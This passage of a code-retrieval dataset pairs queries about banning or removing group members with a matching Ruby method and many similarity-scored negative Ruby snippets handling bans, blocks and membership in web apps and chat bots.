"0.601864", "0.601864", "0.60106754", "0.6003088" ]
0.70178205
32
ban a member from current conversation group
def ban_member(_user_id) unless is_in_conversation?(_user_id) errors.add(:base, "This user is not member of current group") return false end unless is_group_conversation? errors.add(:base, "This is not a conversation group") return false end banned_users.create(user_id: _user_id) del_member(_user_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ban!\n MTurkUtils.ban_user self\n end", "def ban_group\n banned_group = PreviaGroup.find(params[:previa_group_id])\n BanGroupFromGroup.call(@previa_group, banned_group)\n\n respond_to do |format|\n format.html { redirect_to @previa_group, notice: 'El grupo de previa fue bloqueado con éxito.' }\n format.json { head :no_content }\n end\n end", "def ban(nick_or_host)\n @session.chanserv.ban(self.name, nick_or_host)\n end", "def unban!\n MTurkUtils.unban_user self\n end", "def remove_user_ban(data); end", "def remove_user_ban(data); end", "def ban\n set_lobby\n team = find_team\n name = params[:name]\n @lobby.ban(team, name)\n render :json => { :message => \"#{team_name(team)} has banned #{name}\"}, :status => :ok\n end", "def cunban(m, nick)\n nick = User(nick)\n if is_chanadmin?(m.channel, m.user) && is_botpowerful?(m.channel)\n m.channel.unban(nick.mask)\n elsif !is_chanadmin?(m.channel, m.user)\n m.reply NOTADMIN, true\n elsif !is_botpowerful?(m.channel)\n m.reply NOTOPBOT, true\n end\n end", "def unban!\n self.update_attribute(:banned, false)\n end", "def ban\n raise AccessDenied.new(\"The current user does not have the authority to block other people's topics.\") unless can?(:ban, @topic)\n @topic.ban!\n render json: {ok: 1}\n end", "def ban_user(auth, server_id, user_id, message_days, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_bans_uid,\n server_id,\n :put,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/bans/#{user_id}?delete-message-days=#{message_days}\",\n nil,\n Authorization: auth,\n 'X-Audit-Log-Reason': reason\n )\n end", "def banuser\n if session[:admin_user_id]\n @member1 = Member.find(params[:id])\n if @member1.status\n @member1.update_attribute(:status , \"false\")\n flash[:notice] = \"You have successfully banned user\"\n else\n @member1.update_attribute(:status , \"true\")\n flash[:notice] = \"You have successfully permited user\"\n end\n redirect_to '/admin/members'\n else\n redirect_to root_url\n return\n end\n end", "def ban!\n self.update_attribute(:banned, true)\n end", "def unban(nick_or_host)\n @session.chanserv.unban(self.name, nick_or_host)\n end", "def add_user_ban(data); end", "def add_user_ban(data); end", "def ban_user(token, server_id, user_id, message_days)\n request(\n __method__,\n :put,\n \"#{api_base}/guilds/#{server_id}/bans/#{user_id}?delete-message-days=#{message_days}\",\n nil,\n Authorization: token\n )\n end", "def unban_user(token, server_id, user_id)\n request(\n __method__,\n :delete,\n \"#{api_base}/guilds/#{server_id}/bans/#{user_id}\",\n Authorization: token\n )\n end", "def ban\n authorize! :change_banned, @user\n if current_user == @user\n redirect_to @user, alert: \"You can't ban yourself!\"\n else \n render 'ban'\n end\n end", "def unban_user(auth, server_id, user_id, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_bans_uid,\n server_id,\n :delete,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/bans/#{user_id}\",\n Authorization: auth,\n 'X-Audit-Log-Reason': reason\n )\n end", "def cban(m, nick, reason)\n nick = User(nick)\n if is_chanadmin?(m.channel, m.user) && is_botpowerful?(m.channel)\n m.channel.ban(nick.mask)\n m.channel.kick(nick, reason)\n elsif !is_chanadmin?(m.channel, m.user)\n m.reply NOTADMIN, true\n elsif !is_botpowerful?(m.channel)\n m.reply NOTOPBOT, true\n end\n end", "def unban(jid,reason=nil,&blk)\n set_affiliation 'none', jid, reason, &blk\n end", "def remove_ban\n @user = User.find(params[:id])\n @user.update_attribute(:ban, false)\n flash[:notice] = \"You have un banned user #{@user.email}\"\n redirect_to :controller => 'users', :action => 'index'\n end", "def make_banned\n @user = User.find(params[:id])\n @user.make_banned!(params[:ban_ip].present?)\n flash[:notice] = \"User \\\"#{@user.full_name(false)}\\\" was successfully marked as banned\"\n redirect_to :back\n end", "def ban\n update(active: false)\n reporter.update(disallow_reporting: true)\n end", "def banned_from_group?\n GroupBan.where(user: user, group: group).exists?\n end", "def ban_or_unban_user(ban, user, subreddit)\n username = extract_string(user, :username)\n subreddit_object = (subreddit.is_a? String) ? subreddit(subreddit) : subreddit\n friend_request_type = ban ? 'friend' : 'unfriend'\n\n friend_request friend_request_type, :container => subreddit_object.full_name, :name => username, :subreddit => subreddit_object.name, :type => :banned\n end", "def blacklist(ip)\n send_req({a: :ban, key: ip})\n end", "def ban(jid,reason=\"no reason\",&blk)\n set_affiliation 'outcast', jid, reason, &blk\n end", "def unban\n self.enabled = true\n save\n end", "def disband_group\n destroy_collection({:table=>'groups', :on_success=>'You disbanded the group.'})\n rescue\n flash[:notice] = \"Could not find group.\"\n redirect_to :action=>'groups'\n end", "def ban( params )\n LastFM.requires_authentication\n LastFM.post( \"track.ban\", params )\n end", "def send_ban(channel, *masks)\n send_multiple_mode(channel, '+', 'b', masks)\n end", "def make_banned!(ban_ip = false)\n contents.make_hidden!\n shares.make_hidden!\n add_role :banned\n Setting.add_blacklist_ips([current_sign_in_ip, last_sign_in_ip]) if ban_ip\n reset_cache('banned-user-ids')\n end", "def ban_user\n @user = User.find(params[:id])\n @user.update_attribute(:ban, true)\n flash[:notice] = \"You have banned user #{@user.email}\"\n redirect_to :controller => 'users', :action => 'banned'\n end", "def verify_banned_message\n if sender.banned?\n self.body = \"This user’s messages have been removed because #{sender.the_sex_prefix} activities violates the LoveRealm community standards. Do not correspond with #{sender.the_sex_prefix}\"\n self.kind = 'text'\n end\n end", "def ban\n self.enabled = false\n save\n\n hosts.each do |host|\n if host.client.present?\n host.disable_jobs_and_lock\n else\n host.block\n end\n end\n end", "def ban_user(user_id, reason = '')\n user_id = user_id.id if user_id.is_a? MatrixSdk::User\n client.api.ban_user(id, user_id, reason: reason)\n true\n end", "def unblock\n @user = current_user\n @friend = User.find(params[:friend_id])\n @user.unblock @friend\n\n l = Log.new\n l.user_id_1 = @user.id\n l.user_id_2 = @friend.id\n name_1 = if @user.name.nil? then @user.email.split('@')[0] else @user.name end\n name_2 = if @friend.name.nil? then @friend.email.split('@')[0] else @friend.name end\n l.message = \"#{name_1.humanize} blocked #{name_2.humanize}\"\n l.loggingtype = 0\n l.save\n flash[:blocked] = \"#{name_2.humanize} was unblocked successfully $green\" \n \n @friend.rank = @friend.rank + 5\n @friend.save\n\n redirect_to action: 'pending'\n end", "def ban\n @user = User.find(params[:id])\n flash[:notice] = \"You have selected to ban yourself. If you have no problem with this, go ahead.\" if @user == current_user\n if request.put?\n params[:user][:banned_by] = current_user\n params[:user][:ban_time] = Chronic.parse(params[:user][:ban_time])\n @user.update_attributes(params[:user])\n @user.increment!('ban_times')\n flash[:notice] = \"User has been banned!\"\n redirect_back_or_default(admin_accounts_path)\n end\n end", "def unfollow(actor)\n contact = contact_to!(actor)\n contact.update_column(:blocked, true)\n contact\n end", "def unban_user(user_id)\n user_id = user_id.id if user_id.is_a? MatrixSdk::User\n client.api.unban_user(id, user_id)\n true\n end", "def send_unban(channel, *masks)\n send_multiple_mode(channel, '-', 'b', masks)\n end", "def remove_guild_ban(guild_id, user_id, reason: nil)\n request(\n :guilds_gid_bans_uid, guild_id,\n :delete,\n \"guilds/#{guild_id}/bans/#{user_id}\",\n nil,\n 'X-Audit-Log-Reason': reason,\n )\n end", "def unban(user, subreddit)\n ban_or_unban_user false, user, subreddit\n end", "def ban\n ban = Ban.new\n ban.steamid = params[:id]\n ban.ts = params[:ts]\n ban.sign = params[:sign]\n ban.expiry = DateTime.now.ago(-(params[:len].to_i*60))\n ban.addr = params[:addr]\n ban.reason = params[:reason]\n ban.ban_type = Ban::TYPE_SERVER\n ban.save!\n\n render :text => \"Ok\"\n end", "def removeBuddy(contact)\n \n unless SocialStream::Presence.enable\n return\n end\n \n unless contact.receiver.subject_type == \"User\" and contact.sender.subject_type == \"User\"\n return\n end\n \n #XMPP DOMAIN\n domain = SocialStream::Presence.domain\n user_sid = contact.sender.slug + \"@\" + domain\n user_name = contact.sender.name \n buddy_sid = contact.receiver.slug + \"@\" + domain\n buddy_name = contact.receiver.name\n \n #Check for bidirecctional\n \n if contact.sender.contact_actors(:type=>:user).include?(contact.receiver)\n #Bidirectional contacts\n #Execute unsetRosterForBidirectionalTie(user_sid,oldfriend_sid,oldfriendNick,oldfriendGroup)\n SocialStream::Presence::XmppServerOrder::unsetRosterForBidirectionalTie(buddy_sid,user_sid,user_name,\"SocialStream\")\n elsif contact.sender.contact_actors(:type=>:user, :direction=>:sent).include?(contact.receiver)\n #Unidirectional contacts\n SocialStream::Presence::XmppServerOrder::removeBuddyFromRoster(user_sid,buddy_sid)\n end\n \n end", "def get_blacklist\n return FavouriteGroup.find(:first, :conditions => { :user_id => self.id, :name => FavouriteGroup::BLACKLIST_NAME } )\n end", "def msg_BMASK(source, args)\n # :42X BMASK 1234567890 #x b :*!*@derp *!Mibbit@* ...\n c = Channel.find_by_name(args[1])\n if not c\n raise(NoSuchChannelException, \"Couldn't find #{args[1]}\")\n end\n\n ts = args[0].to_i()\n\n if c.ts < ts\n return nil\n end\n\n if args[2] != 'b' && args[2] != 'e'\n # We've \"added\" the entry, i.e., discarded what we didn't care about\n return nil\n end\n\n args[3].split(' ').each do |ban|\n c.add_ban(ban, args[2])\n end\n\n return nil\n end", "def demote\n @group_user = @parent.find(params[:id]) #get the record\n\n if !current_user or (!current_user.is_admin and !@group.owners.include?(current_user)) or current_user == @group_user.user\n redirect_to @group, :notice => \"You cannot demote that user.\"\n return\n end\n\n respond_to do |format|\n # We'll set is_owner to true. Remember update_attribute bypasses validations!\n if @group_user.update_attribute(:is_owner, false)\n format.html { redirect_to(@group, :notice => 'Group user is now a regulare member.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group_user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def remove_banned\n Zold::Id::BANNED.each do |id|\n @pgsql.exec('DELETE FROM payable WHERE id = $1', [id])\n end\n end", "def unblock(me: nil)\n my_id = 't2_' + (me.is_a?(User) ? user.id : @client.get('/api/v1/me').body[:id])\n # Talk about an unintuitive endpoint\n @client.post('/api/unfriend', container: my_id, name: get_attribute(:name), type: 'enemy')\n end", "def set_banned\n @banned = Banned.find(params[:id])\n end", "def unblock(me: nil)\n my_id = 't2_' + (me.is_a?(User) ? user.id : client.get('/api/v1/me').body[:id])\n # Talk about an unintuitive endpoint\n client.post('/api/unfriend', container: my_id, name: read_attribute(:name), type: 'enemy')\n end", "def unblock_user\n SecurityService.unblock_user(params[:id])\n redirect_to '/users/', notice: \"Käyttäjän blokkaus poistettu. Hän voi taas luoda kursseja.\"\n end", "def execute(msg, username)\n begin\n bans = Fishbans.get_total_bans(username)\n rescue RuntimeError => e\n msg.reply(\"Error: #{e.message}\")\n end\n\n # A ternary would be illogical here for length.\n message =\n if bans > 0\n \"#{username} has been banned! What a loser! They've been banned #{bans} time#{bans == 1 ? '' : 's'}!\"\n else\n \"#{username} has not been banned! What a gentle person!\"\n end\n\n msg.reply(message)\n end", "def ban_publication\n\n if new_state=publishing_workflow.next_state(self, PublishingAction::BAN)\n self.publishing_state_id = new_state.id\n if new_state == PublishingState::BANNED\n self.publishing_banned_date = Time.now\n self.publishing_banned_user = connected_user.username\n end\n save if self.respond_to?(:save)\n BusinessEvents::BusinessEvent.fire_event(:publication_banned, publication_info)\n\n end\n\n end", "def remove_member(name, member)\n grpid = /(\\d+)/.match(name)[0]\n configure_interface(member, \"no channel-group #{grpid}\")\n end", "def setBidireccionalBuddys(userASid,userBSid,userANick,userBNick,groupForA,groupForB)\n\taddBuddyToRoster(userASid,userBSid,userBNick,groupForB,\"both\")\n\taddBuddyToRoster(userBSid,userASid,userANick,groupForA,\"both\")\n\treturn \"Done\"\nend", "def unauthorize_member\n @user = User.find(params[:user_id])\n @group = Group.find(params[:group_id])\n auth_or_unauth_member(\"unauth\", @user, @group)\n end", "def update\n\n @ban = @cloud.bans.find(params[:id])\n @ban.assign_attributes(params[:ban])\n\n if authorize @ban, :update?\n if @ban.save\n render status: 200\n else\n set_flash_message message: \"You used the wrong kind of magic and the canon broke.\", title: \"Moon canon malfunction\"\n build_errors_from_model @ban\n render status: 422\n end\n else\n set_flash_message message: \"Only supreme rulers are authorized to operate the moon-canon.\", title: \"No banana bag?\"\n build_errors_from_model @ban\n render status: 401\n end\n end", "def is_unblockable_by(another_user)\n return false unless is_associated_to_somebody_else_than(another_user)\n\n existing_friendship = @swimmer.associated_user.find_any_friendship_with(another_user)\n !!(\n existing_friendship &&\n existing_friendship.can_unblock?(another_user)\n )\n end", "def unban( params )\n LastFM.requires_authentication\n LastFM.post( \"track.unban\", params )\n end", "def join!(_user_id)\n if !is_private?\n if banned_users.where(user_id: _user_id).any?\n errors.add(:base, 'You were banned from this group.')\n false\n else\n add_participant(_user_id)\n end\n else\n errors.add(:base, 'This is a private group, please contact to administrator.')\n false\n end\n end", "def disinvite_member\n @assignment = Assignment.find(params[:id])\n membership = StudentMembership.find(params[:membership])\n membership.delete\n membership.save\n # update repository permissions\n grouping = current_user.accepted_grouping_for(@assignment.id)\n grouping.update_repository_permissions\n flash[:edit_notice] = 'Member disinvited'\n end", "def account_blocked(user, project = nil)\n setup_email(user)\n @subject += head_encode((project ? project.login : 'Your account'.t) + \" has been banned from the Kroogi Network\".t)\n @body[:user] = user\n @body[:project] = project\n end", "def create_guild_ban(guild_id, user_id, delete_message_days: nil, reason: nil)\n query = URI.encode_www_form('delete-message-days': delete_message_days, reason: reason)\n request(\n :guilds_gid_bans_uid, guild_id,\n :put,\n \"guilds/#{guild_id}/bans/#{user_id}?\" + query,\n nil,\n 'X-Audit-Log-Reason': reason,\n )\n end", "def setBidireccionalBuddys(userAJid,userBJid,userANick,userBNick,groupForA,groupForB)\n\taddBuddyToRoster(userAJid,userBJid,userBNick,groupForB,\"both\")\n\taddBuddyToRoster(userBJid,userAJid,userANick,groupForA,\"both\")\n\treturn \"Done\"\nend", "def remove_member(mbr_id)\n member = student_memberships.find(mbr_id)\n if member\n # Remove repository permissions first\n member.destroy\n if member.membership_status == StudentMembership::STATUSES[:inviter] &&\n (member.grouping.accepted_student_memberships.length > 0)\n membership = member.grouping.accepted_student_memberships.first\n membership.membership_status = StudentMembership::STATUSES[:inviter]\n membership.save\n end\n end\n end", "def refuse_group group\n group_invitations.where(group: group).first.destroy\n end", "def can_unblock?(friendable)\n blocked? && self.blocker_id == friendable.id && friendable.class.to_s == Amistad.friend_model\n end", "def restore_banned!\n remove_role :banned\n shares.restore_hidden!\n contents.restore_hidden!\n Setting.remove_blacklist_ips([current_sign_in_ip, last_sign_in_ip])\n reset_cache('banned-user-ids')\n end", "def ban_update\n authorize! :change_banned, @user\n respond_to do |format|\n if current_user == @user\n format.html {redirect_to @user, alert: \"You can't ban yourself!\"}\n elsif @user.update(ban_params)\n format.json { render :ban, status: :ok, location: @user }\n if @user.is_banned\n format.html { redirect_to @user, notice: 'User was successfully banned.' }\n else \n format.html { redirect_to @user, notice: 'User was successfully unbanned.' }\n end\n else\n format.html { render :ban }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def deny(reason)\n user = self.adult_sponsor\n if self.destroy && reason.is_a?(Hash)\n user.group = nil\n user.save\n GroupMailer.send_denied_notice(user, self, reason['email_text']).deliver\n true\n else\n false\n end\n end", "def banned\n authorize! :change_banned, @current_user\n if !current_user.is_admin?\n format.html {redirect_to users_path, alert: \"You can't see banned people.\"}\n else \n @users = User.all.select{ |u| u.is_banned }\n @title_user = \"Banned Users\"\n render 'index'\n end\n end", "def remove_rejected(mbr_id)\n member = memberships.find(mbr_id)\n member.destroy if member && member.membership_status == StudentMembership::STATUSES[:rejected]\n end", "def remove_member(_team, _user)\n # stub\n end", "def get_guild_bans(guild_id)\n response = request(\n :guilds_gid_bans, guild_id,\n :get,\n \"guilds/#{guild_id}/bans\"\n )\n Rapture::Ban.from_json_array(response.body)\n end", "def decline\n @group_user = GroupUser.find(params[:id])\n @group_user.decline!\n respond_to do |format|\n flash[:notice] = 'Membership was declined.'\n format.html { redirect_to account_path }\n format.xml { head :ok }\n end\n end", "def msg_BAN(source, args)\n return nil\n end", "def ban_user\n # Find user in the DB\n @user = User.find(params[:user])\n\n # Change the user's \"banned\" status\n @user.update_attribute('banned',params[:ban])\n\n respond_to do |format|\n # Case 1: User is banned \n if(params[:ban] == 'true')\n format.html { redirect_to banned_users_admin_index_url, notice: 'User banned' }\n # Case 2: User is unbanned\n else\n format.html { redirect_to banned_users_admin_index_url, notice: 'User reactivated' }\n end\n format.json { head :no_content }\n end\n end", "def cancel_invite\n if (GroupsController.group_owner? current_user.id, params[:group_id])\n membership = Membership.find_by_user_id_and_group_id_and_acceptance_status(params[:user_id], params[:group_id], false)\n Membership.delete membership unless membership.nil?\n respond_to do |format|\n format.html { redirect_to group_path(Group.find(params[:group_id])), alert: 'Cancelled invitation successfully.' }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to group_path(Group.find(params[:group_id])), alert: \"Nothing to cancel. The user has not at all been invited.\"}\n format.json { render json: \"Only invited members may be cancelled.\", status: :method_not_allowed }\n end\n end\n end", "def remove_user_from_group(user, group)\n\t\t\tend", "def accept\n self.status = :accepted\n self.group.add_members(self.receiver, self.role, :was_invited, self.sender)\n self.save\n end", "def unblock\n user = User.find(decode_jwt(cookies.signed[:jwt])[\"user_id\"])\n #we get friend_id from frontend\n if Block.where(blocker_id: user.id, blockee_id:follow_params[:user2]).empty?\n return render json: {error: \"No block found!\"}\n end\n\n Block.where(blocker_id: user.id, blockee_id:follow_params[:user2]).destroy_all\n # byebug\n return render json: {response: \"Friend unblocked\"}\n end", "def blocked_user\n is_blocked = false \n\n if params[:id]\n @user = User.find(params[:id])\n\n for r in current_user.inverse_relationships\n if r.usergroup.name == \"Blocked Users\" && r.user.id == @user.id \n is_blocked = true \n break \n end \n end \n end\n\n if is_blocked\n flash[:info] = \"This user has chosen to keep their profile hidden.\"\n redirect_to login_path \n end \n end", "def remove_member(user)\n if (self.members.include?(user))\n self.memberships.find_by_user_id(user.id).destroy\n else\n raise GroupsManagement::UserIsNotMember, \"The user \" + user.email + \" is not a member of the group '\" + self.name + \"'.\"\n end\n \n end", "def bans(auth, server_id)\n MijDiscord::Core::API.request(\n :guilds_sid_bans,\n server_id,\n :get,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/bans\",\n Authorization: auth\n )\n end", "def pending_members\n set_group \n @pending_members = GroupsController.pending_members(params[:id], current_user.id)\n end", "def validate_user\n if self.banned and !self.authentication_token.include?('_banned')\n banned_auth_token = self.authentication_token[0..self.authentication_token.length-7] << '_banned'\n self.update_attribute(:authentication_token, banned_auth_token)\n # also ban his devices\n self.devices.each { |device|\n device.update_attribute(:banned,true)\n }\n elsif !self.banned and self.authentication_token.include?('_banned')\n # unban user\n unbanned_auth_token = self.authentication_token[0..self.authentication_token.length-7] << rand(36**7).to_s(36)\n self.update_attribute(:authentication_token, unbanned_auth_token)\n # also unban his devices\n self.devices.each { |device|\n device.update_attribute(:banned,false)\n }\n end\n end", "def remove(response)\n return unless valid_message?(response)\n\n if Lita::Authorization.remove_user_from_group(\n response.user,\n @user,\n @group\n )\n response.reply \"#{@user.name} was removed from #{@group}.\"\n else\n response.reply \"#{@user.name} was not in #{@group}.\"\n end\n end", "def remove_from_group(group)\n gm = Fl::Framework::Actor::GroupMember.query_for_actor_in_group(self, group).first\n return false if gm.nil?\n\n self.actor_containers.delete(gm)\n true\n end", "def reject(current_member, reason='', send_mail=true)\n General::ChangeStatusService.new(self, StatusLancer::REJECTED, current_member, reason).change\n\n if self.save\n # if send_mail == true\n # MemberMailerWorker.perform_async(job_id: self.id.to_s, perform: :send_job_rejection)\n # end\n return true\n else\n return false\n end\n end", "def notify_abandon(meetup, user, canceled)\n @user = user\n @meetup = meetup\n @canceled = canceled\n I18n.with_locale(@user.locale) do\n mail(to: @user.email,\n subject: I18n.t('meetup_mailer.notify_abandon.subject', \\\n meetup: @meetup.title, \\\n owner: @meetup.holdings.first.user.username, \\\n canceled: @canceled.username))\n end\n end", "def user_is_not_blocked\n return errors.add(:user, 'You cannot block yourself')\\\n if user_id == blocked_id\n end", "def unadmin(jid,reason=nil,&blk)\n set_affiliation 'member', jid, reason, &blk\n end", "def block\n users_projects.find_each do |membership|\n return false unless membership.destroy\n end\n\n self.blocked = true\n save\n end", "def allow_kick_bomb\n @kick_bomb = true\n end", "def decline_friend\n \tif @user.pending_friends.include?(@friend)\n Friendship.breakup(@user, @friend)\n message = \"Friendship with #{@friend.nick_name} declined\"\n format.json{render :json => {:message => message, :status => \"200\"}}\n else\n error = \"No friendship request from #{@friend.nick_name}.\"\n format.json{render :json => {:error => error, :status => \"400\"}}\n end\n #redirect_to :back\n end", "def manage_group\n member_options = set_members_options\n if member_options.empty?\n shell_out!(\"pw\", \"groupmod\", set_options)\n else\n member_options.each do |option|\n shell_out!(\"pw\", \"groupmod\", set_options, option)\n end\n end\n end" ]
[ "0.70904666", "0.6986597", "0.69524926", "0.6900115", "0.6833348", "0.6833348", "0.67607754", "0.6615547", "0.6580129", "0.6530699", "0.6421638", "0.6383988", "0.637283", "0.6359341", "0.6323711", "0.6323711", "0.6308084", "0.62976444", "0.62763244", "0.62065524", "0.6166832", "0.6113222", "0.610159", "0.600858", "0.598594", "0.59713995", "0.5969361", "0.5961205", "0.5958235", "0.59527266", "0.5949365", "0.5900406", "0.58898425", "0.5882068", "0.58750695", "0.58492553", "0.582957", "0.58261424", "0.5824919", "0.58003587", "0.5756261", "0.5673648", "0.5673126", "0.5668449", "0.5637166", "0.56294227", "0.5626846", "0.5621652", "0.56000274", "0.5594446", "0.559314", "0.5580558", "0.5569528", "0.5556746", "0.54338616", "0.5432455", "0.5416343", "0.5416196", "0.54147893", "0.5375996", "0.5363014", "0.5347655", "0.53465056", "0.5340863", "0.5330307", "0.53192186", "0.52911985", "0.5284752", "0.5261635", "0.52480286", "0.5240316", "0.52323437", "0.5231778", "0.52297854", "0.5222043", "0.52148247", "0.52131844", "0.52075964", "0.5206977", "0.5168942", "0.5166284", "0.5154855", "0.51304877", "0.5126305", "0.51089627", "0.5096529", "0.5094341", "0.5083491", "0.50831544", "0.50827456", "0.5081639", "0.5076076", "0.5075828", "0.50738055", "0.50725853", "0.5058865", "0.5057215", "0.50566006", "0.5046572", "0.5035561" ]
0.79552454
0
delete an existent member from current group
def del_member(_user_id) update!(del_members: [_user_id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete_member\n @group = Group.find(params[:id])\n @user = User.find_by_id(params[:user_id])\n\n if @group.users.include?(@user)\n @group.users.delete(@user)\n @group.save\n flash[:notice] = \"Miembro borrado exitosamente.\"\n end\n\n redirect_to group_path(@group)\n end", "def rm_groupmember(member)\n group = @group_class.new :name => member, :node => self.node\n return nil unless group.exists?\n self[:groupmembers].delete group.generateduid.first\n end", "def destroy\n @member = Member.where(user_id: params[:user_id], group_id: params[:group_id]).take\n @member.destroy\n redirect_to root_path, notice: 'Вы удалились из группы'\n end", "def destroy\n @group = Group.find(params[:group_id])\n authorize! :edit, @group\n Hydra::LDAP.remove_users_from_group(@group.code, [params[:id]])\n redirect_to edit_group_path(@group), :notice=>\"Removed member #{params[:id]}\"\n end", "def delete_group(group)\n\t\t\tend", "def delete_group(group)\n\t\t\tend", "def delete_member(id)\n @m = Member.find_by_society_id_and_user_id(self.id, id) #not using .where method as just 1 record is expected to be found\n if @m != nil and !@m.admin\n @m.destroy\n\t\t\tadd_post(id, \"Left the society\")\n end\n end", "def delete_member_by_id(pid)\n if posn = member_ids.index(pid)\n delete_member_at(posn)\n end\n end", "def remove_member(user)\n if (self.members.include?(user))\n self.memberships.find_by_user_id(user.id).destroy\n else\n raise GroupsManagement::UserIsNotMember, \"The user \" + user.email + \" is not a member of the group '\" + self.name + \"'.\"\n end\n \n end", "def remove_from_group(group)\n self.memberships.find_by(group_id: group.id).destroy!\n end", "def remove_member(mbr_id)\n member = student_memberships.find(mbr_id)\n if member\n # Remove repository permissions first\n member.destroy\n if member.membership_status == StudentMembership::STATUSES[:inviter] &&\n (member.grouping.accepted_student_memberships.length > 0)\n membership = member.grouping.accepted_student_memberships.first\n membership.membership_status = StudentMembership::STATUSES[:inviter]\n membership.save\n end\n end\n end", "def remove(user)\n GroupMember.new(:group_id => id, :member_id => user.id).delete\n end", "def remove_group(group)\n self.groups.destroy group \n end", "def destroy\n @membership = Membership.find(params[:id])\n @membership.destroy\n if @membership.user == current_user\n flash[:success] = \"Quit #{@group.name} successfully.\"\n redirect_to @membership.group\n else\n flash[:success] = \"Removed member successfully.\"\n redirect_to group_members_url(@membership.group)\n end\n end", "def remove_member(name, member)\n grpid = /(\\d+)/.match(name)[0]\n configure_interface(member, \"no channel-group #{grpid}\")\n end", "def add_del_member\n id = Base64.decode64(params[:id]) \n if params[:type] =='add' \n status = params[:gtype] == 'Private' ? 0 : 1 ; #0 means admin needs to accept, 1 directly join public group\n member = GroupMember.create(:group_id=> id,:account_id =>current_user.id, :status => status)\t\t\n\t\t\t if member.save\n\t\t\t\trender :json => 1 and return \n\t\t\t else\n\t\t\t\trender :json => 0 and return \n\t\t\t end \t\n else\n member = GroupMember.where(:group_id=> id,:account_id =>current_user.id).first\n if member.present? && member.delete\n render :json => 1 and return \n else\n\t\trender :json => 0 and return \n end \t\n end\n \n \n end", "def delete_member path\n rewrite_members member_paths.delete(path)\n end", "def destroy\n \n @gro_mem = GroupMember.find params[:id]\n @gro_num=@gro_mem.group_id\n @group_member = GroupMember.new\n \n @gro_mem.destroy\n redirect_to :controller => 'groups', :action => 'show', :id => @gro_num\n end", "def leave(person)\n members.delete(person);\n end", "def rm_user(member)\n self[:users].delete member\n end", "def delete_group(uuid)\n Uploadcare::Group.delete(uuid)\n end", "def destroy\n @group_member = GroupMember.find(params[:id])\n @group_member.destroy\n\n respond_to do |format|\n format.html { redirect_to group_members_url }\n format.json { head :no_content }\n end\n end", "def unlink_group\n if self.parentID != nil\n Group.find(self.parentID).remove_members([self.id.to_s])\n end\n end", "def remove_staff_member(selected)\n\ts = StaffMember.find(selected)\n\ts.destroy\nend", "def check_and_clean_deleted_membership\n deleted_membership = group.memberships.only_deleted.find_by(primary_email: primary_email)\n if deleted_membership && deleted_membership.destroy\n deleted_membership.really_destroy!\n end\n end", "def test_delete\n g = [22058]\n Group.delete(g)\n end", "def remove_group_member(dept_id, user_id)\n\n user_create = {\n \"@odata.id\" => \"https://graph.microsoft.com/v1.0/directoryObjects/#{user_id}\"\n }\n\n response = HTTParty.delete(\"https://graph.microsoft.com/v1.0/groups/#{dept_id}/members/#{user_id}/$ref\", { \n\n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Host\" => 'graph.microsoft.com',\n }\n\n })\n\n case response.code\n when 204\n return response.code\n when 400...600\n return JSON.parse response.read_body\n end\n \n end", "def test_set3_04b_delete_group()\n group = \"test_group\"\n user = \"test_user\"\n \n @test_acl.create_principal(user)\n @test_acl.create_group(group, [\"ALL\"], [user])\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n #puts query\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(1, hits)\n \n @test_acl.delete_principal(group)\n \n query = \"doc(\\\"#{@col_path}Principals.xml\\\")//node()[@id=\\\"#{user}\\\"]/membership/mgroup[@idref=\\\"#{group}\\\"]\"\n handle = @db.execute_query(query)\n hits = @db.get_hits(handle)\n assert_equal(0, hits)\n end", "def test_delete_member_from_group_basic_success\n\n client = create_mock_client\n refute_nil client, \"Client object couldn't be created.\"\n\n stub_request(:delete, mock_uri('Groups', '17', 'Members', '5'))\n .to_return(status: 204)\n\n status, = client.group.delete_member_from_group(17, 5)\n refute_nil status, \"No status object returned.\"\n assert status.success, \"Status did not indicate success: \" + status.message.to_s\n\n end", "def delete_unused_members\n if !member.nil? && !member.is_a?(User) and \nmember.roles(:true).empty?\n member.destroy\n end\n end", "def delete(key)\n key = to_key key\n @group.delete key if @group.key? key\n end", "def remove_group(group)\r\n\t\tsend('RMG', group.info[:guid])\r\n\t\t## XXX save changes locally?\r\n\t\treturn 1\r\n\tend", "def remove_group_member(team_id, user_id)\n delete(\"/groups/#{team_id}/members/#{user_id}\")\n end", "def disinvite_member\n @assignment = Assignment.find(params[:id])\n membership = StudentMembership.find(params[:membership])\n membership.delete\n membership.save\n # update repository permissions\n grouping = current_user.accepted_grouping_for(@assignment.id)\n grouping.update_repository_permissions\n flash[:edit_notice] = 'Member disinvited'\n end", "def destroy\n redirect_to :action => :index and return unless is_owner?\n for member in @group.members\n member.destroy\n end\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end", "def delete_assigned_members\n @card.members.each{|member| @card.remove_member member}\n end", "def destroy\n @group_member = GroupMember.find(params[:id])\n\n if @group_member.group.owner != current_user\n respond_to do |format|\n format.html { redirect_to @group_member.group, notice: 'User not authorized.' }\n format.json { render json: @group_member, status: :not_authorized, location: @group_member }\n end\n return\n end\n\n group = @group_member.group\n @group_member.destroy\n\n respond_to do |format|\n format.html { redirect_to group_url(group) }\n format.json { head :no_content }\n end\n end", "def delete_group(group)\n\t\t\t\tgroupname = nil\n\t\t\t\tif(group.respond_to(:groupname))\n\t\t\t\t\tgroupname = group.groupname\n\t\t\t\telse\n\t\t\t\t\tgroupname = 